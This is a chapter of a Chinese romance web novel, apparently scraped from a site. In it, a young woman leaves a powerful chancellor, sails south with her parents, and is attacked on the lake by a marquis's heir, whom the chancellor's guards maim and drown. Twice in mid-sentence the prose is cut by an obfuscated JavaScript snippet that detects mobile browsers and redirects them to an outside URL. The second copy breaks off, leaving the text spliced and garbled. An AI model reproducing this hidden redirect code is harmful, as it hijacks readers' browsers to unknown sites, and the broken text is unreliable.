纸上的墨迹未干,正缓缓向下淌。荀令望着她,问:“不想看看上面写了什么?” 向晚词不答,拿着纸就往外走。 “阿词。” 声音从身后传来,向晚词停下,没回头。等了许久,没听到声音,她继续往外走。 出了洞天院,向晚词回头,看了几眼她住了多日的小院,就朝新房的方向走去了。丫鬟婆子们跟在她身后,一同回去。 回到新房,这里被打扫得干干净净的,向晚词也没看,直接去收拾自己的东西。她其实也没什么东西,嫁妆是人家搬来的,其实也不是她的。她来的时候什么都没带,现在需要带走的也只有那些曲谱。曲谱她早收拾好了,卷成一卷,装在竹筒里,直接拿了就可以走了。 拿上竹筒后,向晚词把手里的和离书放到里面。 她没去看上面的内容,她不想知道,也不必知道。她只需要知道一点,齐大非偶。她跟他不是一个世界的人,他是天眷国众官之首,她不过是一个微不足道的小官的女儿,二者之间天差地别,这就够了。 院外已经有马车等候了,向晚词上了马车。马车里堆了两个大箱子,箱子上还摆着一封信,一封给叶神医的信。看到那些东西,向晚词眼睛一酸,闭上眼睛不去看。 马车缓缓向荀府外驶去。看到那边的马车动了,坐在另一辆马车上的吴代放下帘子,看向一旁面色阴郁的荀令,长叹一声,吩咐车夫跟上。 两辆马车一前一后驶出荀府,朝未央街驶去。到了未央街,向晚词下了车,荀府的侍卫上车去把东西抬下来。她拿出钥匙开了家门,侍卫们把东西搬进去后,就行礼离开。向晚词站在家门口,看着那辆马车消失后,才进了家门。 街角的老树下,另一辆马车停在那里,一直没走。吴代看向荀令,他一直看着那边,门关上那么久还没移开,又暗自叹了口气。 —— 关上门后,向晚词朝爹娘的屋子走去,房中静悄悄的,一个人也没有。她又看了看其他房间,所有东西都被整理了收到箱子里,一副随时可以搬走的样子。 向晚词正看间,门又开了,她爹娘从外面回来。看到她在家,两人惊喜异常。向母快步走过来搂住她,向晚词抱住娘。向谦关好门,走到母女俩身旁,搂住两人,一家三口抱在一起,一时间院中寂静无声。 许久后,向谦松开两人,温声说:“好了,既然小词回来了,我的官也辞了,东西都已经打点好了,我们就可以离开京城了。我这就去雇马车。” 说完,他又拍了拍两人,出了门。 听到父亲说他已经辞了官,向晚词有些意外,又有些开心。她本以为父亲辞官没那么顺利的,没想到能这么快就成功。 本来向谦的辞官不会那么顺利的,苻玚还想卡着他的辞官手续,拖个一年半载,看看他还有什么利用价值。但苻玚好几个手下忽然出了纰漏,一连被御史台参了几本,参的就是官员迁退的案子。在这当口,苻玚也不能刻意卡着他的手续,免得让人抓住把柄,就放他辞官了。 向谦走后,向母拉着向晚词回房,问起这些天来的事,向晚词大略说了。听着听着,向母渐渐听出不对劲了。 向母握着女儿的手,看着她问:“那个丞相为什么宁愿自己吃蛊虫去解蛊,也不让你吃?” 向晚词低头不答。 向母心中一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197264|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咯噔,又问:“他看到你的脸了?” 向晚词依旧低着头,缓缓摇头。 “你确定?” 向晚词点头。 见她点头,向母默然,许久之后才问:“幺儿,你是不是……” 向晚词还是低着头,轻声说:“娘,我明白的,你别担心,我都明白的。” 见此情状,向母长叹一声,搂住女儿,柔声说:“我的乖幺儿,不是娘狠心,你和他不合适。我们这种家世的人,就是人家权贵眼中的蝼蚁,随便动动手就能捏死了,根本不会放在心上。” “他现在对你或许有些情谊,将来如何还未可知。像他这种年纪轻轻就身居高位的高官,不知道暗地里使了多少见不得人的手段才能爬上去。要是他把这些手段都用在你身上,你连招架的力都没有。即便他不对你下手,也有无数盯着他的人会对你下手,借机对付他,这样的人太危险了。” “当年娘让你装染了天花留了痘印避过先帝选秀,不让你进宫去,也是因为那是个吃人不吐骨头的地方,去了连怎么死的都不知道。他没看见你的脸就好,就不会对你念念不忘,过段日子没准就淡忘你了。我们离开京城,去一个小地方,到时候咱再招婿。” 向晚词伏在母亲怀里,低声说:“娘,我不想嫁人,别再招婿了好不好?” 听到这话,向母眼睛一酸,哽咽道:“都是娘不好,当年舍不得你那么小就许人家,拒绝了那么多门亲事。要是当初我早答应了,你现在已经嫁为人妇了,不会被户部的人找上门,后来也不用顶着丑姑娘的名声过了那么多年,连真心愿意娶你的人都没有。” 向晚词抱紧娘,语声也哽咽起来:“不怪娘不怪娘,我知道的,娘是想找一个真心喜欢我而不是喜欢我的容貌的人。以前那么多人上门来提亲,都是冲着我的容貌来的,后来看到我脸毁了,他们就一个都不上门了,那些人不嫁也好。一辈子不嫁人也没什么,娘不是说过,你们那就有很多一辈子不嫁人的女子,我也学她们好不好?” 向母的泪落了下来,抱紧女儿,抽泣道:“傻孩子,她们不嫁人,是她们不想嫁,没有喜欢的人。可你、你……”你有喜欢的人,嫁不成他,你不想再嫁给别人,这哪能一样? 后半句话,她哽在喉咙里,始终说不出口。 向晚词不再说话,伏在娘怀里低声哭泣。向母搂着她,泪如雨下,房中一片悲声。 —— 街角的老树下,马车里,荀令阴郁的脸上出现一丝忧虑和焦躁,他几度欲起身,又强自按捺住,手攥得紧紧的,吴代都能听到骨节咔咔作响的声音。 看着好友那副模样,吴代暗自叹气,斟酌了许久,才说:“要不,我去看看?” 荀令闭眼又睁眼,沉声道:“她在哭。” “什么?”吴代惊讶地说。 他想了片刻,想起好友耳力过人,问:“延之你听到了?” 荀令闭目摇头,郑学士老宅是专门建造的,隔音做得非常好,即便一墙之隔都听不到隔壁的动静,更何况他离那么远。 问出那问题后,吴代也想起了这节,不由说:“应该听不到。延之,难不成是你感觉到的?” 荀令点头,神情愈发焦躁忧虑。 见他点头,吴代无言,半晌后叹道:“延之,想去就去吧,世上可没有后悔药,我不想见到你将来后悔。” 18. 天水泊歩汨晚虚 荀令不答,仍旧坐在那不动。 吴代摇头,不再多劝。 —— 向谦出了门,就去车马行雇了马车。他们要坐马车出城,到了回头渡,再坐船南下。马行的人见他来得急,要马车也要得急,把价格提高了一倍。向谦只求快启程,也无心讲价,就直接答应了。 马车到了向宅外,向谦就去开门。向晚词母女已经哭过一场,各自收拾好了。见他回来了,一家人都去搬东西。 因为要远行,向谦夫妇把家里能卖的都卖了,剩下的大部分都是多年搜集来的古籍,这个两人是万万舍不得卖的。因此这些书籍就装了几大箱,连带着向晚词带回来的两大箱子,着实费了些力才搬上去。 搬完东西后,向谦去把钥匙交给魏房牙,把最后的手续办了。一家人就上了马车,朝城外去。荀府的马车远远跟在后面,也出了城。 一个时辰后,马车到了回头渡。向谦去船行跑了一趟,租了两间舱房,三人就上了船。半日后,船开了,缓缓驶出回头渡。 荀令坐在另一艘船上,也跟着走,吴代没辙,只能陪着。一里又一里,吴代眼见着船离京城越来越远,不知道荀令还要跟多远,又没法劝,只能一路叹息。 —— 船出了护城河,就开到了千醴湖上。千醴湖是天眷国第一大河流万年河的支流,从千醴湖走水路到万年河,再从万年河顺水而下,用十来日的功夫就能到广城。 船行到千醴湖上后,向晚词就走到甲板上。 那日就是在这千醴湖上,安国侯世子说出了那些言语。她也是个人,被人那么当面羞辱,怎会不伤心难过?只不过这些年来她已经听惯了,伤心难过也有限。她只是不想在荀令面前如此难堪,可偏偏事与愿违。 望着茫茫湖水,向晚词又想起了那日的情景,本就晦暗的心情更糟了几分。 忽然一声暴喝传来,惊得正自黯然神伤的向晚词浑身一颤。 “丑妇!可让我逮着你了,这回看我怎么收拾你!你竟敢给我下药,害小爷我受尽折磨,不报此仇我誓不为人!小爷我定然要扒光了你的衣服,让你在千醴湖中泡上七天七夜,让全京城的人都好好看看,你这个闻名京城的丑妇是何模样!” 听到这声音,向晚词心下一沉,循声望去,不远处正有一艘船快速朝这边驶来,船头上正立着个人,正是那安国侯世子。他旁边还围着一群家丁模样的人,个个手里都拿着家伙朝这边看来,人人面露凶光,神情不善。 安国侯世子怎么会在这里?向晚词心中暗自叹气。这当口她也顾不上其他,立刻跑去找船老大,加钱让他以最快速度开船。 船老大正在船头,也听到了安国候世子的叫嚣。这个闻名京城的纨绔子弟他自然认识。 船老大本不想惹麻烦上身,想把向晚词他们一家三口都交出去。只是向晚词给得多,看在钱的份上,惹点麻烦也不算什么。反正那安国侯府已经徒具虚名,落魄了许多年了,也翻不出什么大浪来,还是钱更重要。 —— 另一条船上,吴代已经不敢去看荀令的脸色了,只是低声道:“延之,杀不得,杀不得,安国侯现在还有用,他的世子现在还杀不得。” “天一,割掉那家伙的舌头,挑断他的脚筋,把船凿沉,其他一个不留。” “是。” 天一领命,带着几名暗卫下水去了。 下水前,天一手指弹动,射出一枚暗器,刚好击中了安国侯世子的嘴,切断了他的舌头,他的声音立刻戛然而止。 向晚词说服了船老大,正要回舱房去提醒父母,那边传来的声音忽然停了,她不由脚下一顿,朝那边望去,就看见了那边船上捂着嘴的安国侯世子。 他怎么了? 向晚词满心疑惑。 仔细看了片刻,发现安国侯世子捂着嘴的手上不断有血流出,他却没有半点声音发出,向晚词一怔,忽然想起了那天的事。 “天一,把他的舌头拔出来。”那天他说过的话又在耳边响起,舌头,安国侯世子捂着嘴,流血了,没声音,难道…… 向晚词没有再想下去,她朝周围看去,远处有不少船只。她站在那里,望着湖面,还在不停找寻着。找了许久,都没找到她想找的人,向晚词收回目光。她不想再找下去,找到如何,找不到又如何,只是徒增伤怀,不如不找。 她朝船舱下走去,走了没几步,蓦地破空声传来。向晚词回头,一把明晃晃的尖刀朝她飞来,速度迅快,眨眼间就到了她面前。向晚词当即朝旁边一闪,尖刀险险地擦着胸口飞过,钉在了她身后的船板上,削掉了她一大截头发。 向晚词脸色发白,手脚发麻,看着犹自颤动不已的尖刀,心口突突狂跳,一时间浑身冰凉。疼痛随即传来,她缓缓低头,就看见了自己胸前的血迹。尖刀擦着她飞过时,还是割伤了她。 向晚词靠着船板,慢慢滑坐下去,鲜血不断流出,她伸手去按住伤口,更强烈的疼痛接踵而至。原来只是划破了就那么痛,那天他被一剑穿胸,该有多痛? 向晚词正想着,就听到耳边传来熟悉而焦急的声音:“阿词,阿词。” 她抬眼望去,正在想着的人就出现在她面前。 荀令一手环抱着她,一手在替她上金疮药,脸色焦急阴郁又愤怒。吴代背转身,站在不远处,他旁边还站着几个护卫,也背转身站着。 看到他,向晚词轻声问:“你那天,很痛,对不对?” 听到这话,荀令一怔,顿时明白她指的是什么,勉力一笑,道:“不痛,我不怕痛,真的。” “骗人。” “真的,真的,我不骗你。” “我也不痛,只是擦过去划破点皮,你别担心。” 荀令不答,阴着脸替她上药。 他治伤经验丰富,向晚词又真的只是划破了道口子,很快就处理好了。给她包扎好后,荀令脱下外衫,罩在她身上。 这时,闻听得外面吵闹声的向谦和向母从下面的舱房中上甲板来,就看到了倒坐在地上的向晚词。 向母惊呼一声,当即扑过来。 没等她开口,向晚词就说:“娘,我没事没事,就是划破了一点小口子,已经包扎好了,没事的。” 向母哪肯听她的,急急要检查女儿的伤,手伸过去,想起这是在外面,又停了手,转头对向谦说:“把幺儿抱回房去。” 向谦看了看抱着女儿不放手的荀令,暗叹一声,道:“劳烦丞相大人抱小词回去。” 荀令没说话,抱起向晚词就朝舱房里走去。向母紧跟在后面,向谦也跟着来了。 —— 四人走后,吴代转身,看向那边已经开始沉没的大船,目光微寒。 方才那边船上有人飞刀过来要杀向姑娘,还好她闪避及时,不然就要当场殒命了。延之看到刀朝向姑娘飞去,顿时什么都顾不上,直接让暗卫带着他飞掠到船上来。他本想劝延之留安国侯世子一命,既然对方自己要找死,他也不用再白费功夫了。 一盏茶的功夫,对面那艘船彻底沉下去,吴代对旁边的护卫打了个手势,护卫们立刻朝船老大所在处走去。没多久这艘船就以最快的速度驶出十几里,远离了刚才的水域。 —— 到了舱房里,向母把其他人都请出去,亲自给女儿检查了伤。荀令给她包扎得不是很严,毕竟伤在胸前,他也不好在外面直接掀开她的衣裳去处理,就上了金创药,在外缠上了布条。 看到女儿胸前并不是很深的伤口,向母先是松了口气,随即怒气冲冲。这伤口的位置,要是没避开,就是致命伤了。 小心翼翼把布条取下,仔仔细细上药包扎后,她才问:“幺儿,怎么回事?是谁伤的你?” 向晚词不答。 见她这样,向母心下了然,缓缓问:“是因为那个丞相是不是?” 向晚词还是不答。 向母长叹一声,再也不问,给她换了衣裳,扶她躺到床上休息后,就出了舱房。 荀令跟向谦正站在外面,两人没有交谈,相隔的距离不远不近,也没有看对方,只是各自沉默地站着。 向母出来后,向谦马上走到她身边,悄声问:“如何?” “伤口不深,没事。” 回答完丈夫后,向母走到荀令面前,道:“荀丞相,可否请你单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“天一,你和天五、天六跟着船走,护送他们去广城,不要让人伤了他们,今天的事我不想再看到。” 天一站在那,第一次没有立刻应下,迟疑着说:“主子……” 他没说完,吴代就插言道:“这怎么行?延之,你这里可比他们那危险多了,派别人暗中保护他们就行,天一不能离开你身边。” 荀令刚要开口,吴代举手挡在他面前,说:“停,我说句实话,延之,离了你,她也没什么危险了,人家过去二十年一直在京城里,不都好好过来了?等他们去了广城治好了病,找个安全的地方定居,也不会有什么危险。” “路上倒是有些风险,派其他人足够了,用不着天一。你把天一派到她身边,别人要是知道了天一的存在,反而会给她带来危险。毕竟天一跟在你身边那么久,知晓他的人不少。” 吴代的话戳中了荀令的痛处,他闭口不语。 吴代叹气,说:“延之,有些话我不说你也知道。你我走上这条路,本不该有弱点的。要做你的夫人,就要做好被无数人盯上的准备。人家好好一个姑娘,你要真心喜欢,就放她去吧。方才那种情形要是再来一次……” 荀令神情顿时变得十分可怖,半晌后,他才道:“天二,你和天五、天六去。” 天二道:“是。” 荀令又吩咐了几句,吩咐完后,他就要下船。见他这么快就舍得走,吴代张了张嘴,把话又咽了回去。 几人上了小舟,小舟停在那里不动,大船快速驶离,逐渐远去。 —— 舱房内,向晚词躺在床上,一动不动。 劝走了荀令后,向母回房来看她。看到她两眼盯着虚空,眨也不眨一下,向母心如刀绞。向母俯下身,握住女儿的手,触手一片冰凉。 向母眼睛一酸,哽咽道:“幺儿,想哭就哭出来吧,哭出来就好了。” 向晚词仍旧不动,轻声说:“娘,我没事,你别担心,很快就好了。” 这哪算没事?连问都不问一句,怎么会没事? 向母心中酸楚难言,见女儿又直勾勾地望着虚空出神,她闭上眼。良久,她下定决心,给女儿盖好被子,朝外走去。 到了房外,向谦正站在那,见到妻子的神色,他了然一笑,说:“走吧。” 向母看看他,知道丈夫已经知晓自己的心意,她什么都没说,握住丈夫的手,二人一同去找船老大。 没过多久,正在行驶的船调转方向,朝来路驶去。